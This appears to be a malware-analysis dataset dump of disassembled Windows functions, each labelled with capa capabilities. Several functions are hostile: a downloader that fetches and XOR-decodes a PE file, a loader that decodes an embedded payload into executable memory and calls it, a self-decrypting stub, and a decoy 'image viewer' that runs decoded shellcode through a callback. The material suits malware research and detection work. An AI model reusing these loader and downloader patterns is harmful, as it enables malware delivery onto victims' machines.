joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1204c14a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x14], edi
mov ebx, ecx
je 0x1204c188
call fcn.1207e4d6
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x1204c188
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1204c19f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push 1
test edi, edi
pop eax
je 0x1204c19f
push dword [esp + 0x18]
mov eax, dword [ebx]
mov ecx, ebx
push edi
push dword [esp + 0x18]
call dword [eax + 0x1c]
pop edi
pop esi
pop ebx
ret 0xc

Function at 0x1206a8e0
Capabilities:
Get graphical window text

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
push ebx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1206a957
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov esi, eax
inc esi
lea eax, [esi + 1]
push eax
call fcn.1207403b
mov edi, eax
add esp, 4
test edi, edi
je 0x1206a957
push esi
push edi
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x1206a94e
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0
push ecx
push edi
call fcn.1200879b
add esp, 8
test eax, eax
je 0x1206a94e
mov edx, dword [esp + 0x10]
push edx
push ebx
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov eax, dword [esp + 0x10]
push eax
call fcn.12074064
add esp, 4
push edi
call fcn.12074064
add esp, 4
pop edi
pop esi
pop ebx
ret

Function at 0x120709bb
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x120709f3
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.12073e11
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.12073de9
jmp 0x120709ff
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x120727bd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x120727ff
call fcn.1207e4d6
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x120727ff
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x120727f6
xor eax, eax
jmp 0x12072807
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.1207280d
pop edi
pop esi
pop ebx
ret 4
Function at 0x12076723
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push edi
push dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x12076753
push edi
call ebx
push eax
call fcn.12076d4a
push esi
mov esi, dword [ebp + 0xc]
movzx eax, byte [esi + 0x10]
cmp eax, dword [ebp - 4]
je 0x1207677d
test byte [ebp - 4], 1
je 0x1207677d
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x1207677d
push edi
call ebx
push eax
call fcn.12076d4a
cmp dword [esi + 4], edi
lea eax, [esi + 4]
je 0x12076823
lea ecx, [ebp - 0x24]
push ecx
push eax
call fcn.12076670
cmp dword [esi + 8], edi
lea eax, [esi + 8]
pop ecx
pop ecx
je 0x120767af
lea ecx, [ebp - 0x14]
push ecx
push eax
call fcn.12076670
pop ecx
lea eax, [ebp - 0x14]
pop ecx
mov dword [ebp - 8], eax
cmp dword [esi], edi
je 0x120767c5
lea eax, [ebp - 0x1c]
push eax
push esi
call fcn.12076670
pop ecx
lea eax, [ebp - 0x1c]
pop ecx
mov dword [ebp - 0xc], eax
push edi
push 0x80
push 3
push edi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x120767ef
push 0
call ebx
push eax
call fcn.12076d4a
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x1207680d
push eax
call ebx
push eax
call fcn.12076d4a
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x12076821
push eax
call ebx
push eax
call fcn.12076d4a
xor edi, edi
movzx eax, byte [esi + 0x10]
cmp eax, dword [ebp - 4]
pop esi
je 0x1207684a
test byte [ebp - 4], 1
jne 0x1207684a
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x1207684a
push edi
call ebx
push eax
call fcn.12076d4a
pop edi
pop ebx
leave
ret 8
Function at 0x404cb6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push str.VirtualAlloc
push str.Kernel32.dll
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
push 0x3000
mov esi, 0x2faf080
mov edi, eax
push esi
push ebx
call edi
test eax, eax
je 0x404dda
mov byte [eax], bl
inc eax
sub esi, 1
jne 0x404cf2
xor ecx, ecx
mov al, byte [ecx + 0x429008]
ror al, 3
xor al, byte [ebx + str.kgldjkedrgzgn]
mov byte [ecx + 0x429008], al
lea eax, [ebx + 1]
push 0xd
cdq
pop esi
idiv esi
inc ecx
mov eax, 0x16b7
mov ebx, edx
cmp ecx, eax
jb 0x404cfc
push 0x40
push 0x3000
push eax
xor ebx, ebx
push ebx
call edi
push 0x16b7
mov esi, eax
push 0x429008
push esi
call fcn.004043ca
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0x7f00
push ebx
mov dword [ebp - 0x28], 5
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [ebp - 0x2c], eax
mov esi, str.AdvancedImageViewer
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x40], 0x402936
call dword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
jne 0x404d8d
or eax, 0xffffffff
jmp 0x404ddc
push ebx
push ebx
push ebx
push ebx
push 0x258
push 0x320
push 0x64
push 0x64
push 0x10cf0000
push str.Advanced_C_Image_Viewer
push esi
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
jmp 0x404dcd
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
call esi
test eax, eax
jne 0x404db9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x4065eb
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40662a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40662a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40662a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40662a
cmp dword [ecx + 0x74], 0xe
jbe 0x40662a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x412d37
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4224f0
push 0x4224e8
push str.FlsAlloc
push 0x1f
call fcn.00412c1e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x412d6b
push dword [ebp + 8]
mov ecx, esi
call dword [0x41e29c]
call esi
jmp 0x412d71
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x412db5
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x422500
push 0x4224f8
push str.FlsGetValue
push 0x21
call fcn.00412c1e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x412dec
push dword [ebp + 8]
mov ecx, esi
call dword [0x41e29c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x412df4
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x422508
push 0x422500
push str.FlsSetValue
push 0x22
call fcn.00412c1e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x412e2e
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41e29c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]

Function at 0x414877
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x42a6e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x4148c2
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00414a12
test al, al
jne 0x4148bc
sub edx, 2
cmp edx, edi
jne 0x4148a2
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x4148e4
lea eax, [edi + 2]
cmp edx, eax
je 0x4148e4
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.004147c3
add esp, 0x10
jmp 0x4149de
push esi
lea ecx, [ebp - 0x255]
call fcn.00414a12
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x414927
push dword [ebp - 0x25c]
jmp 0x4148d4
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x414964
cmp word [ebp - 0x226], 0
je 0x414985
cmp word [ebp - 0x226], ax
jne 0x414964
cmp word [ebp - 0x224], 0
je 0x414985
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.004147c3
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x4149d1
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x41493e
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x4149b9
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4149de
push 0x4145f3
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0041a610
add esp, 0x10
jmp 0x4149ae
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040604e
leave
ret
Function at 0x4175e2
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00410990
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x417651
cmp esi, dword [ebp - 4]
je 0x41764c
cmp dword [ebp + 0xc], 0
je 0x41764c
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x417629
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.00417134
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x417653
xor eax, eax
inc eax
jmp 0x417653
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x4176b8
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x42a6e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.00410990
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00410990
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x41772f
cmp word [ecx], dx
je 0x41772f
mov eax, dword [0x42296c]
push edi
dec eax
push eax
push 0x422858
call fcn.00417657
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x4177a2
cmp word [eax], dx
je 0x4177a2
mov eax, dword [edi]
test eax, eax
je 0x417753
cmp word [eax], dx
je 0x417753
lea eax, [ebp - 0x10]
push eax
call fcn.0041703a
jmp 0x41775c
lea eax, [ebp - 0x10]
push eax
call fcn.004170d5
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x4177cc
mov eax, dword [0x422854]
push dword [ebp - 0x14]
dec eax
push eax
push 0x422548
call fcn.00417657
add esp, 0xc
test al, al
je 0x4177cc
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x417797
cmp word [eax], di
je 0x417797
lea eax, [ebp - 0x10]
push eax
call fcn.0041703a
pop ecx
jmp 0x4177ce
lea eax, [ebp - 0x10]
push eax
call fcn.004170d5
jmp 0x417794
mov eax, dword [edi]
test eax, eax
je 0x4177b9
cmp word [eax], dx
je 0x4177b9
lea eax, [ebp - 0x10]
push eax
call fcn.00416fef
pop ecx
jmp 0x4177cc
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x417897
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.004174dc
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x417897
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x417897
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x417897
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x417824
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.00412f34
test ebx, ebx
je 0x417892
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.00412f34
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x417897
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x417897
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.0041ac7d
add esp, 0x10
xor eax, eax
inc eax
jmp 0x417899
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040604e
leave
ret
Function at 0x41d570
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41d59d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41d59d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x77ba3c20
Capabilities:
Check http status code
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.77ba4aa0
mov dword [ebp - 0x14], ecx
xor eax, eax
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1014], bl
mov ecx, 0x3ff
lea edi, [ebp - 0x1013]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
mov esi, edx
push 0x77ba3b60
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
xor ecx, ecx
mov dword [ebp - 4], eax
cmp eax, ecx
je 0x77ba3d5c
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp - 0x14]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x77ba3d53
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0xc]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x10], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x77ba3d43
cmp dword [ebp - 0xc], 0xc8
jne 0x77ba3d43
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1014]
push 0x1000
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x77ba3d43
cmp ebx, dword [ebp + 8]
ja 0x77ba3d43
cmp dword [ebp - 8], 0
je 0x77ba3cfd
push dword [ebp - 8]
lea eax, [ebp - 0x1014]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 8]
jmp 0x77ba3cbc
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x77ba3d1b
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
pop eax
jmp 0x77ba3d5e
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 4]
call esi
jmp 0x77ba3d5c
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x77ba4077
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, edx
push esi
test eax, eax
push edi
je 0x77ba412b
cmp dword [0x77ba4afc], 0
jne 0x77ba4127
mov ecx, 0x40000
mov dword [0x77ba4afc], 1
call fcn.77ba48f7
test eax, eax
mov dword [0x77ba4b00], eax
je 0x77ba4127
mov esi, 0x50ea
mov ecx, esi
call fcn.77ba48f7
mov edi, eax
test edi, edi
je 0x77ba4127
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
mov ecx, 0x77ba10e0
add esp, 0xc
mov eax, edi
sub ecx, edi
mov esi, 0x2875
mov dl, byte [ecx + eax]
xor dl, 0x3d
mov byte [eax], dl
inc eax
dec esi
jne 0x77ba40de
mov esi, dword [0x77ba4b00]
lea eax, [ebp - 8]
push eax
mov edx, esi
mov ecx, edi
call fcn.77ba3dbc
test eax, eax
jne 0x77ba410a
mov ecx, esi
call fcn.77ba4908
jmp 0x77ba4127
mov ecx, edi
call fcn.77ba4908
lea edx, [ebp - 4]
mov ecx, esi
call fcn.77ba3f29
mov eax, dword [ebp - 4]
push 0
push 1
push esi
add eax, esi
call eax
xor eax, eax
jmp 0x77ba4142
mov eax, dword [0x77ba4b00]
test eax, eax
je 0x77ba413f
mov edx, ecx
mov ecx, eax
call fcn.77ba3fb6
jmp 0x77ba4142
push 1
pop eax
pop edi
pop esi
leave
ret

Function at 0x77ba42cc
Capabilities:
Stop service

Disassembly:
sub esp, 0x1c
push esi
push 0xf01ff
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x77ba42fe
lea eax, [esp + 4]
push edi
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, eax
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x1c
ret

Function at 0x77ba48f7
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x404a0d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x404a4c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404a4c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404a4c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404a4c
cmp dword [ecx + 0x74], 0xe
jbe 0x404a4c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40f9f9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x420230
push 0x420228
push str.FlsAlloc
push 0x1f
call fcn.0040f8b8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40fa2d
push dword [ebp + 8]
mov ecx, esi
call dword [0x41e134]
call esi
jmp 0x40fa33
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40fa77
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x420240
push 0x420238
push str.FlsGetValue
push 0x21
call fcn.0040f8b8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40faae
push dword [ebp + 8]
mov ecx, esi
call dword [0x41e134]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40fab6
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x420248
push 0x420240
push str.FlsSetValue
push 0x22
call fcn.0040f8b8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40faf0
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41e134]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x413e17
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x413eb4
push ebx
push esi
call fcn.00413de0
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00413d74
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x413e61
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x413eb3
push edi
push eax
call fcn.004101a8
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x413e81
call fcn.0040f74b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x413eb2
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00413d74
add esp, 0x20
test eax, eax
jne 0x413ea0
push edi
call fcn.0040f74b
jmp 0x413ea8
push ebx
call fcn.0040f74b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x419e36
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4277d0]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x419e76
cmp byte [ebx], 0xa
jne 0x419e76
or byte [edi + eax + 0x28], 4
jmp 0x419e7b
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x419f7a
mov dl, byte [eax]
cmp dl, 0x1a
je 0x419f5d
inc eax
cmp dl, 0xd
je 0x419ea7
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x419ecd
cmp eax, ecx
jae 0x419edb
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x419e8f
jmp 0x419f7a
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x419f58
cmp dword [ebp - 0x10], 0
je 0x419f58
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x4277d0]
test byte [eax + edi + 0x28], 0x48
je 0x419f32
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x419f1d
mov byte [esi], dl
jmp 0x419f2e
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4277d0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x419f7a
cmp byte [ebp - 1], 0xa
jne 0x419f41
cmp esi, ebx
jne 0x419f41
mov byte [esi], 0xa
jmp 0x419f79
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00419da6
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x419f7a
mov byte [esi], 0xd
jmp 0x419f79
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x4277d0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x419f77
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x419f7a
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret